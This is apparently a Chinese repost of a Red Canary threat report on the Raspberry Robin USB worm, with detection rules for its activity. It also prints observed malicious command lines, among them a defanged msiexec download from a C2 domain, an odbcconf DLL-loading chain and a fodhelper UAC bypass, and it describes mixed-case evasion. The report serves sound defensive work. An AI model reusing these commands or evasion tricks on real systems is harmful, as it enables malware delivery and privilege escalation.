Raspberry Robin 通过USB设备进行传播的恶意软件

Raspberry Robin 通过USB设备进行传播的恶意软件

Red Canary 正在跟踪通过外部驱动器传播的蠕虫,该驱动器利用 Windows Installer 访问与 QNAP 相关的域并下载恶意 DLL。

在过去的几个月里,Red Canary Intelligence 一直在跟踪我们称之为 Raspberry Robin 的恶意活动集群。请继续阅读以了解有关 Raspberry Robin 是什么、检测已知行为的高保真机会以及我们决定如何将此活动集群化的背景信息。

“Raspberry Robin”是 Red Canary 对我们在 2021 年 9 月首次观察到的一组活动的名称,其中涉及通常通过 USB 驱动器安装的蠕虫。该活动集群依赖于msiexec.exe调用其基础设施,通常是受感染的 QNAP 设备,使用包含受害者用户和设备名称的 HTTP 请求。我们还观察到 Raspberry Robin 使用 TOR 出口节点作为额外的命令和控制 (C2) 基础设施。

与我们跟踪的大多数活动集群一样,Raspberry Robin 最初是少数具有我们在多个客户环境中看到的相似特征的检测,最初由Red Canary 检测工程团队的Jason Killam注意到。早在 2021 年 9 月,我们就看到了 Raspberry Robin 活动,尽管大多数相关活动发生在 2022 年 1 月期间或之后。由于我们观察到其他活动,除了我们怀疑的 VirusTotal 的一些发现之外,我们找不到公开报告来证实我们的分析基于 C2 域的重叠相关。

迄今为止,我们已经在与技术和制造相关的组织中观察到 Raspberry Robin,但尚不清楚受害者之间是否存在其他联系。我们在这个集群周围有几个情报缺口,包括运营商的目标。虽然我们还没有全貌,但我们想分享到目前为止我们对这个活动集群的了解,以丰富对这种威胁的集体理解,并使防御者能够识别这种活动。我们使用集群名称“Raspberry Robin”来指代下面描述的整个活动链,包括初始访问方法、蠕虫本身以及后续执行和 C2 活动。

下面我们对已知的 Raspberry Robin 行为进行了全面分析,并提供了相应的检测机会。

Raspberry Robin 通过USB设备进行传播的恶意软件
图 1:Raspberry Robin 事件大纲

初始访问

Raspberry Robin 通常是通过受感染的可移动驱动器(通常是 USB 设备)引入的。Raspberry Robin 蠕虫通常以快捷方式.lnk文件的形式出现,伪装成受感染 USB 设备上的合法文件夹。

在受 Raspberry Robin 感染的驱动器连接到系统后不久,UserAssist 注册表项会更新,并.lnk在破译时记录引用文件的 ROT13 加密值的执行。在下面的示例中,q:\erpbirel.yax解密为d:\recovery.lnk.

Raspberry Robin 通过USB设备进行传播的恶意软件
图 2:使用 ROT13
.lnk文件修改注册表

执行

Raspberry Robin 首先用于cmd.exe读取和执行存储在受感染外部驱动器上的文件。该命令在我们迄今为止看到的 Raspberry Robin 检测中是一致的,使其成为潜在 Raspberry Robin 活动的可靠早期证据。通常命令行包括cmd /R <读取和执行文件。的使用cmd /R <不是 Raspberry Robin 独有的,但文件名模式是独一无二的。文件名由五到七个随机字母数字字符和各种文件扩展名组成。我们见过的一些文件扩展名包括.usbico.lnk.bin, . sv, 和.lo. 此外,该命令有时包含 type,它是用于显示文件内容的内置命令。

下面是整个命令的示例:

Raspberry Robin 通过USB设备进行传播的恶意软件
图 3:Raspberry Robincmd.exe命令

接下来,cmd.exe通常启动explorer.exemsiexec.exe. 使用 Raspberry Robin,explorer.exe的命令行可以是对外部设备的混合大小写引用;一个人的名字,例如LAUREN V;或.lnk文件名,如下图。此处的名称已由.lnk文件名修改为LNkFILe. 虽然我们不确定此命令的确切用途,但我们一直在 Raspberry Robin 检测中观察到它。

Raspberry Robin 通过USB设备进行传播的恶意软件
Raspberry Robin 通过USB设备进行传播的恶意软件
图 4:引用设备或名称的混合大小写命令

Raspberry Robin 在其命令中广泛使用混合大小写字母。攻击者有时会使用大小写混合的语法来逃避检测。为检测而编写的区分大小写、基于字符串的检测evil可能不会在 上触发eViL,但cmd.exe不区分大小写,并且可以灵活地以相同方式读取和处理这两个命令。

指挥与控制 (C2)

让我们详细看一下 Raspberry Robin 的msiexec.exe命令,因为它为我们提供了第一个基于行为的检测机会。

msiexec.exe下载并执行合法的安装程序包时,攻击者也会利用它来传播恶意软件。Raspberry Robin 用于msiexec.exe尝试与恶意域进行外部网络通信以用于 C2 目的。命令行具有我们在多次检测中看到的几个关键特性:

  • 混合大小写语法的使用(这是 Raspberry Robin 使用混合大小写的又一个例子)
  • 使用仅包含几个字符的短的、最近注册的域,例如v0[.]cx
  • 我们检测到的域在 Raspberry Robin 活动期间托管了 QNAP NAS 设备登录页面。我们假设 Raspberry Robin 可能会将受损的 QNAP 设备用于 C2 基础设施。将(表面上)受感染的 QNAP 设备用于 C2 基础设施并不是该活动集群所独有的,但我们观察到操作员在多个与 Raspberry Robin 相关的检测中使用这些设备。
  • 在 URL 中包含 port 8080,一个非标准的 HTTP Web 服务端口
  • 包含一串随机字母数字字符作为 URL 子目录,后跟受害者的主机名和用户名

这是一个完整的恶意 Raspberry Robinmsiexec.exe命令行的修改示例,符合上述所有条件。随机字符串已被修改,受害者的主机名被替换为HOSTNAME,但域名仍然是观察到的原始域名。

Raspberry Robin 通过USB设备进行传播的恶意软件
图 5:恶意 Raspberry Robinmsiexec.exe命令

要检测 Raspberry Robin 的可疑使用msiexec.exe或其他威胁,必须查看命令行和 URL。检测msiexec.exe出站网络连接以在命令行界面中下载和安装软件包将使您有机会检查活动并确定它是否是恶意的。


检测机会:msiexec.exe下载和执行包

识别使用 Windows Installer Tool在 CLImsiexec.exe中下载和执行包。

process == ('msiexec')
&&
process_command_line_includes == ('http:', 'https:')
&&
process_command_line_includes == ('/q', '-q')

持久性控制

在几次 Raspberry Robin 检测中,我们看到msiexec.exe继续安装恶意 DLL 文件。目前我们还不确定 DLL 做了什么。我们怀疑它可能会在受害者的系统上建立持久性。在我们看到的检测中,恶意文件被创建为C:\Windows\Installer\MSI****.tmp文件。在一种情况下,具有相同哈希的文件也被创建为C:\Users\username\AppData\Local\Temp\bznwi.ku.

例子:

  • C:\Windows\Installer\MSI5C01.tmp
    C:\Users\username\AppData\Local\Temp\bznwi.ku
  • C:\Windows\Installer\MSIE160.tmp

执行(再次)

接下来,msiexec.exe启动一个合法的 Windows 实用程序,fodhelper.exe该实用程序又会生成rundll32.exe执行恶意命令。以提升的管理权限运行启动的进程,fodhelper.exe无需用户帐户控制提示。fodhelper.exe作为父进程生成任何进程是不寻常的,这使其成为另一个有用的检测机会。

检测机会:fodhelper.exe作为父进程将创建进程的
Windows Features On Demand 助手识别为父进程。fodhelper.exe

父进程 ==('fodhelper')

rundll32.exe命令启动另一个合法的 Windows 实用程序,在这种情况下odbcconf.exe,并传递其他命令来执行和配置最近安装的恶意 DLL bznwi.ku(哈希:6f5ea8383bc3bd07668a7d24fe9b0828)。这是该命令的外观。(我们修改了命令中的随机字符串值,并将受害者的用户名替换为username。)

Raspberry Robin 通过USB设备进行传播的恶意软件
图 6:恶意rundll32.exe命令

图中的-A标志odbcconf.exe指定一个动作。configdriver加载驱动程序设置 DLL,在本例中为VKIPDSESETFILEDSNDIR创建注册表位置HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC File DSN\DefaultDSNDir(如果尚不存在),并指定 ODBC 数据源管理器在创建基于文件的数据源时使用的默认位置。INSTALLDRIVER添加有关驱动程序的附加信息。

在这次检测中,我们看到odbcconf.exe成功执行了恶意命令。由于具有类似于odbcconf.exe的内置标志,因此攻击者可以使用它来执行 DLL 并绕过未监视滥用的应用程序控制防御。

regsvrregsvr32.exeodbcconf.exe

检测机会:odbcconf.exe加载 .DLL

检测加载配置
文件或 DLL 的 Windows 开放式数据库连接实用程序。/A 标志指定操作、/F使用响应文件并/S以静默模式运行。
Odbcconf.exe在静默模式下运行 rgsvr 操作可能表示误用。

process == ('odbcconf')
&&
process_command_line_includes == ('regsvr)
&&
process_command_line_includes == ('/f', '-f')
||
process_command_line_includes == ('/a', '-a')
||
process_command_line_includes == ('/s', '-s')

C2 第二部分

我们观察到涉及进程regsvr32.exerundll32.exedllhost.exe执行的出站 C2 活动,没有任何命令行参数,并与 TOR 节点关联的 IP 地址建立外部网络连接。此外,连接主机域中的某些 IP 地址由随机字母数字字符组成。例如,hxxps[:]//www[.]ivuoq6si2a[.]com/

这项活动为我们提供了最后的检测机会。它是非典型的regsvr32.exerundll32.exe并且dllhost.exe在没有命令行参数的情况下执行并建立外部网络连接。这种行为本质上不是恶意的,但很容易监控。


检测机会:不带参数的命令行网络连接

使用空命令行检测regsvr32.exerundll32.exedllhost.exe建立外部网络连接。

process == ('regsvr32')
||
process == ('rundll32')
||
process == ('dllhost')
&&
process_command_line_contains == (“”)
&&
has_netconnection

*注意:命令行中的双引号(“”)表示空。

技术差距

关于这个集群的几个未解决的问题仍然存在。首先,我们不知道 Raspberry Robin 如何或在何处感染外部驱动器以使其活动永久化,尽管这很可能发生在离线或我们无法看到的其他情况下。我们也不知道为什么 Raspberry Robin 会安装恶意 DLL。一个假设是,它可能是在受感染系统上建立持久性的尝试,尽管需要额外的信息来建立对该假设的信心。

也许我们最大的问题与运营商的目标有关。如果没有关于后期活动的额外信息,很难推断这些活动的目标。尽管如此,我们希望这些信息有助于为更广泛的努力提供信息,以跟踪和更好地检测 Raspberry Robin 活动。我们希望展开对话,帮助整个社区更多地了解这一威胁。如果您一直在跟踪类似的活动,我们很乐意听取您的意见并进行合作。如有任何意见或问题,请联系[email protected]

感谢我们所有的贡献研究人员,他们帮助使这项研究成为可能,特别是来自 Red Canary Intelligence 的Jeff Felling和来自 Red Canary Detection Engineering 的 Jason Killam。

附录

当我们为活动集群定义参数时,我们将行为映射到适用的MITRE ATT&CK并注意感兴趣的可观察对象。在某些情况下,通常使用基础设施和某些对手决策,与活动集群相关的可观察数据可能无法整齐地映射到 ATT&CK 技术,这没关系。

战术技术描述可观察的
初始访问T1091 通过可移动媒体进行复制在某些情况下,Raspberry Robin 是通过受感染的可移动驱动器引入的。在这些情况下,蠕虫以快捷方式(LNK 文件)的形式出现,伪装成 USB 设备上的合法文件夹e:\可移动磁盘.lnk
初始访问explorer.exe使用包含对设备或名称的引用的命令行Explorer “USB 驱动器”或 EXPLorR “LAUREN V” 或
eExplorer LNkFILE
执行T1059.003 命令和脚本解释器(Windows 命令shell)Raspberry Robin 使用“标准输入”命令提示符功能cmd/R <来读取和执行名称由几个看似随机的字母数字字符组成的文件C:\Windows\system32\cmd.exe” /R CMD<lAkTp.mY0
防御规避混合大小写字母的使用,这是对手有时用来逃避防御的交易手段(不是 Raspberry Robin 独有的)命令行中的 mSIeXEc、Explorer 或 HTtp
防御规避T1218.008 签名二进制代理执行:Rundll32
T1218.008 签名二进制代理执行:Odbcconf
Raspberry Robin 使用合法的 Windows 实用程序,例如fodhelper.exeodbcconf.exe代理 DLL 文件执行rundll32.exe“RUNDLL32.exe” shell32,ShellExec_RunDLLA “C:\WINDOWS\syswow64\odbcconf.exe” -A {regsvr “C:\Users\[redacted]\AppData\Local\Temp\bznwi.ku.”} -E -A {configdriver VKIPDSE} -A {SETFILEDSNDIR fnpawxs PXQAND ofeslkscqqczuaj} -a {INSTALLDRIVER fqcmypo OGEYSCKXFTBNXAF}
C2T1218.007 签名二进制代理执行:Msiexec
T1071.001 应用层协议:Web 协议  
Msiexec.exe与包含受害者主机名和用户名的 URL 建立外部网络连接msiEXEC /Q -I hXxp://3h[.]WF:8080/ZgMaAJK3xTC/LP079LLP=52284
C2最近注册的顶级域名,字符很少,可能用作 C2 基础设施3h[.]WF 或 v0[.]cx
C2使用与受损 QNAP NAS 设备相关的基础设施(并非 Raspberry Robin 独有)
C2T1218.008 签名二进制代理执行:Rundll32
T1218.008 签名二进制代理执行:Regsvr32 
rundll32.exeregsvr32.exe用于C2通信在没有命令行参数的情况下查找rundll32.exe和/或regsvr32.exe建立外部网络连接

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。